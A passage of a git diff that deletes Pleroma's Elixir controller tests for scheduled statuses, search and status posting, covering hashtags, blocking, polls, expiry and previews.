scheduled_activity_id} = json_response_and_validate_schema(res_conn, 200) - assert scheduled_activity_id == scheduled_activity.id |> to_string() - - res_conn = get(conn, "/api/v1/scheduled_statuses/404") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) - end - - test "updates a scheduled activity" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - %{user: user, conn: conn} = oauth_access(["write:statuses"]) - - scheduled_at = Timex.shift(NaiveDateTime.utc_now(), minutes: 60) - - {:ok, scheduled_activity} = - ScheduledActivity.create( - user, - %{ - scheduled_at: scheduled_at, - params: build(:note).data - } - ) - - job = Repo.one(from(j in Oban.Job, where: j.queue == "scheduled_activities")) - - assert job.args == %{"activity_id" => scheduled_activity.id} - assert DateTime.truncate(job.scheduled_at, :second) == to_datetime(scheduled_at) - - new_scheduled_at = - NaiveDateTime.utc_now() - |> Timex.shift(minutes: 120) - |> Timex.format!("%Y-%m-%dT%H:%M:%S.%fZ", :strftime) - - res_conn = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{ - scheduled_at: new_scheduled_at - }) - - assert %{"scheduled_at" => expected_scheduled_at} = - json_response_and_validate_schema(res_conn, 200) - - assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at) - job = refresh_record(job) - - assert DateTime.truncate(job.scheduled_at, :second) == to_datetime(new_scheduled_at) - - res_conn = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at}) - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) - end - - test "deletes a scheduled activity" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - %{user: user, conn: conn} = oauth_access(["write:statuses"]) - scheduled_at = Timex.shift(NaiveDateTime.utc_now(), minutes: 60) - - {:ok, scheduled_activity} = - ScheduledActivity.create( - user, - %{ - scheduled_at: scheduled_at, - params: build(:note).data - } - ) - - job = Repo.one(from(j in Oban.Job, where: j.queue == "scheduled_activities")) - - assert job.args == %{"activity_id" => scheduled_activity.id} - - res_conn = - conn - |> assign(:user, user) - |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{} = json_response_and_validate_schema(res_conn, 200) - refute Repo.get(ScheduledActivity, scheduled_activity.id) - refute Repo.get(Oban.Job, job.id) - - res_conn = - conn - |> assign(:user, user) - |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) - end -end diff --git a/test/web/mastodon_api/controllers/search_controller_test.exs b/test/web/mastodon_api/controllers/search_controller_test.exs deleted file mode 100644 index 04dc6f445..000000000 --- a/test/web/mastodon_api/controllers/search_controller_test.exs +++ /dev/null @@ -1,413 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Object - alias Pleroma.Web - alias Pleroma.Web.CommonAPI - import Pleroma.Factory - import ExUnit.CaptureLog - import Tesla.Mock - import Mock - - setup_all do - mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe ".search2" do - test "it returns empty result if user or status search return undefined error", %{conn: conn} do - with_mocks [ - {Pleroma.User, [], [search: fn _q, _o -> raise "Oops" end]}, - {Pleroma.Activity, [], [search: fn _u, _q, _o -> raise "Oops" end]} - ] do - capture_log(fn -> - results = - conn - |> get("/api/v2/search?q=2hu") - |> json_response_and_validate_schema(200) - - assert results["accounts"] == [] - assert results["statuses"] == [] - end) =~ - "[error] Elixir.Pleroma.Web.MastodonAPI.SearchController search error: %RuntimeError{message: \"Oops\"}" - end - end - - test "search", %{conn: conn} do - user = insert(:user) - user_two = insert(:user, %{nickname: "shp@shitposter.club"}) - user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, activity} = CommonAPI.post(user, %{status: "This is about 2hu private 天子"}) - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "This is about 2hu, but private", - visibility: "private" - }) - - {:ok, _} = CommonAPI.post(user_two, %{status: "This isn't"}) - - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "2hu #private"})}") - |> json_response_and_validate_schema(200) - - [account | _] = results["accounts"] - assert account["id"] == to_string(user_three.id) - - assert results["hashtags"] == [ - %{"name" => "private", "url" => "#{Web.base_url()}/tag/private"} - ] - - [status] = results["statuses"] - assert status["id"] == to_string(activity.id) - - results = - get(conn, "/api/v2/search?q=天子") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "天子", "url" => "#{Web.base_url()}/tag/天子"} - ] - - [status] = results["statuses"] - assert status["id"] == to_string(activity.id) - end - - @tag capture_log: true - test "constructs hashtags from search query", %{conn: conn} do - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "some text with #explicit #hashtags"})}") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "explicit", "url" => "#{Web.base_url()}/tag/explicit"}, - %{"name" => "hashtags", "url" => "#{Web.base_url()}/tag/hashtags"} - ] - - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "john doe JOHN DOE"})}") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "john", "url" => "#{Web.base_url()}/tag/john"}, - %{"name" => "doe", "url" => "#{Web.base_url()}/tag/doe"}, - %{"name" => "JohnDoe", "url" => "#{Web.base_url()}/tag/JohnDoe"} - ] - - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "accident-prone"})}") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "accident", "url" => "#{Web.base_url()}/tag/accident"}, - %{"name" => "prone", "url" => "#{Web.base_url()}/tag/prone"}, - %{"name" => "AccidentProne", "url" => "#{Web.base_url()}/tag/AccidentProne"} - ] - - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "https://shpposter.club/users/shpuld"})}") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "shpuld", "url" => "#{Web.base_url()}/tag/shpuld"} - ] - - results = - conn - |> get( - "/api/v2/search?#{ - URI.encode_query(%{ - q: - "https://www.washingtonpost.com/sports/2020/06/10/" <> - "nascar-ban-display-confederate-flag-all-events-properties/" - }) - }" - ) - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "nascar", "url" => "#{Web.base_url()}/tag/nascar"}, - %{"name" => "ban", "url" => "#{Web.base_url()}/tag/ban"}, - %{"name" => "display", "url" => "#{Web.base_url()}/tag/display"}, - %{"name" => "confederate", "url" => "#{Web.base_url()}/tag/confederate"}, - %{"name" => "flag", "url" => "#{Web.base_url()}/tag/flag"}, - %{"name" => "all", "url" => "#{Web.base_url()}/tag/all"}, - %{"name" => "events", "url" => "#{Web.base_url()}/tag/events"}, - %{"name" => "properties", "url" => "#{Web.base_url()}/tag/properties"}, - %{ - "name" => "NascarBanDisplayConfederateFlagAllEventsProperties", - "url" => - "#{Web.base_url()}/tag/NascarBanDisplayConfederateFlagAllEventsProperties" - } - ] - end - - test "supports pagination of hashtags search results", %{conn: conn} do - results = - conn - |> get( - "/api/v2/search?#{ - URI.encode_query(%{q: "#some #text #with #hashtags", limit: 2, offset: 1}) - }" - ) - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "text", "url" => "#{Web.base_url()}/tag/text"}, - %{"name" => "with", "url" => "#{Web.base_url()}/tag/with"} - ] - end - - test "excludes a blocked users from search results", %{conn: conn} do - user = insert(:user) - user_smith = insert(:user, %{nickname: "Agent", name: "I love 2hu"}) - user_neo = insert(:user, %{nickname: "Agent Neo", name: "Agent"}) - - {:ok, act1} = CommonAPI.post(user, %{status: "This is about 2hu private 天子"}) - {:ok, act2} = CommonAPI.post(user_smith, %{status: "Agent Smith"}) - {:ok, act3} = CommonAPI.post(user_neo, %{status: "Agent Smith"}) - Pleroma.User.block(user, user_smith) - - results = - conn - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"])) - |> get("/api/v2/search?q=Agent") - |> json_response_and_validate_schema(200) - - status_ids = Enum.map(results["statuses"], fn g -> g["id"] end) - - assert act3.id in status_ids - refute act2.id in status_ids - refute act1.id in status_ids - end - end - - describe ".account_search" do - test "account search", %{conn: conn} do - user_two = insert(:user, %{nickname: "shp@shitposter.club"}) - user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - results = - conn - |> get("/api/v1/accounts/search?q=shp") - |> json_response_and_validate_schema(200) - - result_ids = for result <- results, do: result["acct"] - - assert user_two.nickname in result_ids - assert user_three.nickname in result_ids - - results = - conn - |> get("/api/v1/accounts/search?q=2hu") - |> json_response_and_validate_schema(200) - - result_ids = for result <- results, do: result["acct"] - - assert user_three.nickname in result_ids - end - - test "returns account if query contains a space", %{conn: conn} do - insert(:user, %{nickname: "shp@shitposter.club"}) - - results = - conn - |> get("/api/v1/accounts/search?q=shp@shitposter.club xxx") - |> json_response_and_validate_schema(200) - - assert length(results) == 1 - end - end - - describe ".search" do - test "it returns empty result if user or status search return undefined error", %{conn: conn} do - with_mocks [ - {Pleroma.User, [], [search: fn _q, _o -> raise "Oops" end]}, - {Pleroma.Activity, [], [search: fn _u, _q, _o -> raise "Oops" end]} - ] do - capture_log(fn -> - results = - conn - |> get("/api/v1/search?q=2hu") - |> json_response_and_validate_schema(200) - - assert results["accounts"] == [] - assert results["statuses"] == [] - end) =~ - "[error] Elixir.Pleroma.Web.MastodonAPI.SearchController search error: %RuntimeError{message: \"Oops\"}" - end - end - - test "search", %{conn: conn} do - user = insert(:user) - user_two = insert(:user, %{nickname: "shp@shitposter.club"}) - user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, activity} = CommonAPI.post(user, %{status: "This is about 2hu"}) - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "This is about 2hu, but private", - visibility: "private" - }) - - {:ok, _} = CommonAPI.post(user_two, %{status: "This isn't"}) - - results = - conn - |> get("/api/v1/search?q=2hu") - |> json_response_and_validate_schema(200) - - [account | _] = results["accounts"] - assert account["id"] == to_string(user_three.id) - - assert results["hashtags"] == ["2hu"] - - [status] = results["statuses"] - assert status["id"] == to_string(activity.id) - end - - test "search fetches remote statuses and prefers them over other results", %{conn: conn} do - capture_log(fn -> - {:ok, %{id: activity_id}} = - CommonAPI.post(insert(:user), %{ - status: "check out http://mastodon.example.org/@admin/99541947525187367" - }) - - results = - conn - |> get("/api/v1/search?q=http://mastodon.example.org/@admin/99541947525187367") - |> json_response_and_validate_schema(200) - - assert [ - %{"url" => "http://mastodon.example.org/@admin/99541947525187367"}, - %{"id" => ^activity_id} - ] = results["statuses"] - end) - end - - test "search doesn't show statuses that it shouldn't", %{conn: conn} do - {:ok, activity} = - CommonAPI.post(insert(:user), %{ - status: "This is about 2hu, but private", - visibility: "private" - }) - - capture_log(fn -> - q = Object.normalize(activity).data["id"] - - results = - conn - |> get("/api/v1/search?q=#{q}") - |> json_response_and_validate_schema(200) - - [] = results["statuses"] - end) - end - - test "search fetches remote accounts", %{conn: conn} do - user = insert(:user) - - query = URI.encode_query(%{q: " mike@osada.macgirvin.com ", resolve: true}) - - results = - conn - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"])) - |> get("/api/v1/search?#{query}") - |> json_response_and_validate_schema(200) - - [account] = results["accounts"] - assert account["acct"] == "mike@osada.macgirvin.com" - end - - test "search doesn't fetch remote accounts if resolve is false", %{conn: conn} do - results = - conn - |> get("/api/v1/search?q=mike@osada.macgirvin.com&resolve=false") - |> json_response_and_validate_schema(200) - - assert [] == results["accounts"] - end - - test "search with limit and offset", %{conn: conn} do - user = insert(:user) - _user_two = insert(:user, %{nickname: "shp@shitposter.club"}) - _user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, _activity1} = CommonAPI.post(user, %{status: "This is about 2hu"}) - {:ok, _activity2} = CommonAPI.post(user, %{status: "This is also about 2hu"}) - - result = - conn - |> get("/api/v1/search?q=2hu&limit=1") - - assert results = json_response_and_validate_schema(result, 200) - assert [%{"id" => activity_id1}] = results["statuses"] - assert [_] = results["accounts"] - - results = - conn - |> get("/api/v1/search?q=2hu&limit=1&offset=1") - |> json_response_and_validate_schema(200) - - assert [%{"id" => activity_id2}] = results["statuses"] - assert [] = results["accounts"] - - assert activity_id1 != activity_id2 - end - - test "search returns results only for the given type", %{conn: conn} do - user = insert(:user) - _user_two = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, _activity} = CommonAPI.post(user, %{status: "This is about 2hu"}) - - assert %{"statuses" => [_activity], "accounts" => [], "hashtags" => []} = - conn - |> get("/api/v1/search?q=2hu&type=statuses") - |> json_response_and_validate_schema(200) - - assert %{"statuses" => [], "accounts" => [_user_two], "hashtags" => []} = - conn - |> get("/api/v1/search?q=2hu&type=accounts") - |> json_response_and_validate_schema(200) - end - - test "search uses account_id to filter statuses by the author", %{conn: conn} do - user = insert(:user, %{nickname: "shp@shitposter.club"}) - user_two = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, activity1} = CommonAPI.post(user, %{status: "This is about 2hu"}) - {:ok, activity2} = CommonAPI.post(user_two, %{status: "This is also about 2hu"}) - - results = - conn - |> get("/api/v1/search?q=2hu&account_id=#{user.id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => activity_id1}] = results["statuses"] - assert activity_id1 == activity1.id - assert [_] = results["accounts"] - - results = - conn - |> get("/api/v1/search?q=2hu&account_id=#{user_two.id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => activity_id2}] = results["statuses"] - assert activity_id2 == activity2.id - end - end -end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs deleted file mode 100644 index 633a25e50..000000000 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ /dev/null @@ -1,1743 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.Conversation.Participation - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.ScheduledActivity - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup do: clear_config([:instance, :federating]) - setup do: clear_config([:instance, :allow_relay]) - setup do: clear_config([:rich_media, :enabled]) - setup do: clear_config([:mrf, :policies]) - setup do: clear_config([:mrf_keyword, :reject]) - - describe "posting statuses" do - setup do: oauth_access(["write:statuses"]) - - test "posting a status does not increment reblog_count when relaying", %{conn: conn} do - Config.put([:instance, :federating], true) - Config.get([:instance, :allow_relay], true) - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "content_type" => "text/plain", - "source" => "Pleroma FE", - "status" => "Hello world", - "visibility" => "public" - }) - |> json_response_and_validate_schema(200) - - assert response["reblogs_count"] == 0 - ObanHelpers.perform_all() - - response = - conn - |> get("api/v1/statuses/#{response["id"]}", %{}) - |> json_response_and_validate_schema(200) - - assert response["reblogs_count"] == 0 - end - - test "posting a status", %{conn: conn} do - idempotency_key = "Pikachu rocks!" - - conn_one = - conn - |> put_req_header("content-type", "application/json") - |> put_req_header("idempotency-key", idempotency_key) - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => "0" - }) - - {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key) - # Six hours - assert ttl > :timer.seconds(6 * 60 * 60 - 1) - - assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} = - json_response_and_validate_schema(conn_one, 200) - - assert Activity.get_by_id(id) - - conn_two = - conn - |> put_req_header("content-type", "application/json") - |> put_req_header("idempotency-key", idempotency_key) - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => 0 - }) - - assert %{"id" => second_id} = json_response(conn_two, 200) - assert id == second_id - - conn_three = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => "False" - }) - - assert %{"id" => third_id} = json_response_and_validate_schema(conn_three, 200) - refute id == third_id - - # An activity that will expire: - # 2 hours - expires_in = 2 * 60 * 60 - - expires_at = DateTime.add(DateTime.utc_now(), expires_in) - - conn_four = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - - assert %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) - - assert Activity.get_by_id(fourth_id) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: fourth_id}, - scheduled_at: expires_at - ) - end - - test "it fails to create a status if `expires_in` is less or equal than an hour", %{ - conn: conn - } do - # 1 minute - expires_in = 1 * 60 - - assert %{"error" => "Expiry date is too soon"} = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - |> json_response_and_validate_schema(422) - - # 5 minutes - expires_in = 5 * 60 - - assert %{"error" => "Expiry date is too soon"} = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - |> json_response_and_validate_schema(422) - end - - test "Get MRF reason when posting a status is rejected by one", %{conn: conn} do - Config.put([:mrf_keyword, :reject], ["GNO"]) - Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) - - assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{"status" => "GNO/Linux"}) - |> json_response_and_validate_schema(422) - end - - test "posting an undefined status with an attachment", %{user: user, conn: conn} do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "media_ids" => [to_string(upload.id)] - }) - - assert json_response_and_validate_schema(conn, 200) - end - - test "replying to a status", %{user: user, conn: conn} do - {:ok, replied_to} = CommonAPI.post(user, %{status: "cofe"}) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) - - assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200) - - activity = Activity.get_by_id(id) - - assert activity.data["context"] == replied_to.data["context"] - assert Activity.get_in_reply_to_activity(activity).id == replied_to.id - end - - test "replying to a direct message with visibility other than direct", %{ - user: user, - conn: conn - } do - {:ok, replied_to} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"}) - - Enum.each(["public", "private", "unlisted"], fn visibility -> - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "@#{user.nickname} hey", - "in_reply_to_id" => replied_to.id, - "visibility" => visibility - }) - - assert json_response_and_validate_schema(conn, 422) == %{ - "error" => "The message visibility must be direct" - } - end) - end - - test "posting a status with an invalid in_reply_to_id", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""}) - - assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200) - assert Activity.get_by_id(id) - end - - test "posting a sensitive status", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true}) - - assert %{"content" => "cofe", "id" => id, "sensitive" => true} = - json_response_and_validate_schema(conn, 200) - - assert Activity.get_by_id(id) - end - - test "posting a fake status", %{conn: conn} do - real_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => - "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it" - }) - - real_status = json_response_and_validate_schema(real_conn, 200) - - assert real_status - assert Object.get_by_ap_id(real_status["uri"]) - - real_status = - real_status - |> Map.put("id", nil) - |> Map.put("url", nil) - |> Map.put("uri", nil) - |> Map.put("created_at", nil) - |> Kernel.put_in(["pleroma", "conversation_id"], nil) - - fake_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => - "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it", - "preview" => true - }) - - fake_status = json_response_and_validate_schema(fake_conn, 200) - - assert fake_status - refute Object.get_by_ap_id(fake_status["uri"]) - - fake_status = - fake_status - |> Map.put("id", nil) - |> Map.put("url", nil) - |> Map.put("uri", nil) - |> Map.put("created_at", nil) - |> Kernel.put_in(["pleroma", "conversation_id"], nil) - - assert real_status == fake_status - end - - test "fake statuses' preview card is not cached", %{conn: conn} do - clear_config([:rich_media, :enabled], true) - - Tesla.Mock.mock(fn - %{ - method: :get, - url: "https://example.com/twitter-card" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} - - env -> - apply(HttpRequestMock, :request, [env]) - end) - - conn1 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "https://example.com/ogp", - "preview" => true - }) - - conn2 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "https://example.com/twitter-card", - "preview" => true - }) - - assert %{"card" => %{"title" => "The Rock"}} = json_response_and_validate_schema(conn1, 200) - - assert %{"card" => %{"title" => "Small Island Developing States Photo Submission"}} = - json_response_and_validate_schema(conn2, 200) - end - - test "posting a status with OGP link preview", %{conn: conn} do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - clear_config([:rich_media, :enabled], true) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "https://example.com/ogp" - }) - - assert %{"id" => id, "card" => %{"title" => "The Rock"}} = - json_response_and_validate_schema(conn, 200) - - assert Activity.get_by_id(id) - end - - test "posting a direct status", %{conn: conn} do - user2 = insert(:user) - content = "direct cofe @#{user2.nickname}" - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"}) - - assert %{"id" => id} = response = json_response_and_validate_schema(conn, 200) - assert response["visibility"] == "direct" - assert response["pleroma"]["direct_conversation_id"] - assert activity = Activity.get_by_id(id) - assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id] - assert activity.data["to"] == [user2.ap_id] - assert activity.data["cc"] == [] - end - end - - describe "posting scheduled statuses" do - setup do: oauth_access(["write:statuses"]) - - test "creates a scheduled activity", %{conn: conn} do - scheduled_at = - NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"scheduled_at" => expected_scheduled_at} = - json_response_and_validate_schema(conn, 200) - - assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at) - assert [] == Repo.all(Activity) - end - - test "ignores nil values", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "not scheduled", - "scheduled_at" => nil - }) - - assert result = json_response_and_validate_schema(conn, 200) - assert Activity.get_by_id(result["id"]) - end - - test "creates a scheduled activity with a media attachment", %{user: user, conn: conn} do - scheduled_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(120), :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "media_ids" => [to_string(upload.id)], - "status" => "scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"media_attachments" => [media_attachment]} = - json_response_and_validate_schema(conn, 200) - - assert %{"type" => "image"} = media_attachment - end - - test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now", - %{conn: conn} do - scheduled_at = - NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "not scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"content" => "not scheduled"} = json_response_and_validate_schema(conn, 200) - assert [] == Repo.all(ScheduledActivity) - end - - test "returns error when daily user limit is exceeded", %{user: user, conn: conn} do - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - # TODO - |> Kernel.<>("Z") - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, attrs) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today}) - - assert %{"error" => "daily limit exceeded"} == json_response_and_validate_schema(conn, 422) - end - - test "returns error when total user limit is exceeded", %{user: user, conn: conn} do - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - tomorrow = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.hours(36), :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow}) - - assert %{"error" => "total limit exceeded"} == json_response_and_validate_schema(conn, 422) - end - end - - describe "posting polls" do - setup do: oauth_access(["write:statuses"]) - - test "posting a poll", %{conn: conn} do - time = NaiveDateTime.utc_now() - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "Who is the #bestgrill?", - "poll" => %{ - "options" => ["Rei", "Asuka", "Misato"], - "expires_in" => 420 - } - }) - - response = json_response_and_validate_schema(conn, 200) - - assert Enum.all?(response["poll"]["options"], fn %{"title" => title} -> - title in ["Rei", "Asuka", "Misato"] - end) - - assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430 - refute response["poll"]["expred"] - - question = Object.get_by_id(response["poll"]["id"]) - - # closed contains utc timezone - assert question.data["closed"] =~ "Z" - end - - test "option limit is enforced", %{conn: conn} do - limit = Config.get([:instance, :poll_limits, :max_options]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "desu~", - "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1} - }) - - %{"error" => error} = json_response_and_validate_schema(conn, 422) - assert error == "Poll can't contain more than #{limit} options" - end - - test "option character limit is enforced", %{conn: conn} do - limit = Config.get([:instance, :poll_limits, :max_option_chars]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "...", - "poll" => %{ - "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)], - "expires_in" => 1 - } - }) - - %{"error" => error} = json_response_and_validate_schema(conn, 422) - assert error == "Poll options cannot be longer than #{limit} characters each" - end - - test "minimal date limit is enforced", %{conn: conn} do - limit = Config.get([:instance, :poll_limits, :min_expiration]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "imagine arbitrary limits", - "poll" => %{ - "options" => ["this post was made by pleroma gang"], - "expires_in" => limit - 1 - } - }) - - %{"error" => error} = json_response_and_validate_schema(conn, 422) - assert error == "Expiration date is too soon" - end - - test "maximum date limit is enforced", %{conn: conn} do - limit = Config.get([:instance, :poll_limits, :max_expiration]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "imagine arbitrary limits", - "poll" => %{ - "options" => ["this post was made by pleroma gang"], - "expires_in" => limit + 1 - } - }) - - %{"error" => error} = json_response_and_validate_schema(conn, 422) - assert error == "Expiration date is too far in the future" - end - end - - test "get a status" do - %{conn: conn} = oauth_access(["read:statuses"]) - activity = insert(:note_activity) - - conn = get(conn, "/api/v1/statuses/#{activity.id}") - - assert %{"id" => id} = json_response_and_validate_schema(conn, 200) - assert id == to_string(activity.id) - end - - defp local_and_remote_activities do - local = insert(:note_activity) - remote = insert(:note_activity, local: false) - {:ok, local: local, remote: remote} - end - - describe "status with restrict unauthenticated activities for local and remote" do - setup do: 